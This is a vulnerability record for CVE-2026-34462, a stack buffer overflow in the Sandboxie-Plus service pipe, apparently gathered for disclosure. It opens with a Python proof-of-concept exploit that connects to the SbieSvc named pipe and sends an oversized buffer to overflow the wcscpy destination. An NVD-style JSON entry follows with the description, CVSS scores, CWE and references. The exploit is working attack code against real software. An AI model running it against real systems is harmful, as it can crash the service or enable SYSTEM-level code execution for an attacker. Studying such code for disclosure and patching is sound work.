CVE-2026-34462

import ctypes import sys # Constants GENERIC_READ = 0x80000000 GENERIC_WRITE = 0x40000000 OPEN_EXISTING = 3 FILE_ATTRIBUTE_NORMAL = 0x80 INVALID_HANDLE_VALUE = -1 # Define Windows API functions CreateFileW = ctypes.windll.kernel32.CreateFileW WriteFile = ctypes.windll.kernel32.WriteFile CloseHandle = ctypes.windll.kernel32.CloseHandle # Target named pipe (Example name, actual name may vary based on installation) PIPE_NAME = r"\\.\pipe\SandboxieServicePipe" def exploit(): print(f"[*] Attempting to connect to {PIPE_NAME}...") # Try to connect to the named pipe with NULL DACL handle = CreateFileW( PIPE_NAME, GENERIC_READ | GENERIC_WRITE, 0, None, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, None ) if handle == INVALID_HANDLE_VALUE: print("[-] Failed to connect to the pipe.") return print("[+] Connected to the service pipe.") # Construct malicious payload # The structure expects a boxname of 34 WCHARs (68 bytes) # We provide non-zero data and append extra chars to overflow the 40 WCHAR (80 bytes) stack buffer overflow_size = 100 # Enough to overflow the destination buffer payload = b'A' * (34 * 2) + b'B' * (overflow_size - (34 * 2)) print(f"[*] Sending payload of size {len(payload)} bytes...") bytes_written = ctypes.c_ulong(0) result = WriteFile( handle, payload, len(payload), ctypes.byref(bytes_written), None ) if result: print(f"[+] Payload sent successfully ({bytes_written.value} bytes).") print("[+] Check if the service crashed or code execution occurred.") else: print("[-] Failed to send payload.") CloseHandle(handle) if __name__ == "__main__": exploit()

{"cve": {"id": "CVE-2026-34462", "sourceIdentifier": "[email protected]", "published": "2026-05-05T20:16:37.610", "lastModified": "2026-05-07T19:47:30.260", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Sandboxie-Plus is an open source sandbox-based isolation software for Windows. In versions 1.17.2 and earlier, several ProcessServer handlers (KillAllHandler, SuspendAllHandler, and RunSandboxedHandler) copy a WCHAR boxname[34] field from request structures into WCHAR[40] stack buffers using wcscpy without verifying null termination. Because the service pipe accepts variable-length packets larger than the request structure, an attacker can fill the boxname field with non-zero data and append additional controlled wide characters after the structure. wcscpy then reads past the fixed field and overflows the destination stack buffer. The service pipe is created with a NULL DACL, allowing any local process to connect, and the unsafe copy occurs before authorization checks. This can lead to a crash of the SbieSvc service or potential code execution as SYSTEM. This issue has been fixed in version 1.17.3."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:H/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "HIGH", "attackRequirements": "PRESENT", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-121"}, {"lang": "en", "value": "CWE-170"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:sandboxie-plus:sandboxie:*:*:*:*:plus:*:*:*", "versionEndExcluding": "1.17.3", "matchCriteriaId": "69CB00B4-502D-4839-B404-93FA214C6978"}]}]}], "references": [{"url": "https://github.com/sandboxie-plus/Sandboxie/security/advisories/GHSA-9cjg-vh9m-hhx4", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}]}}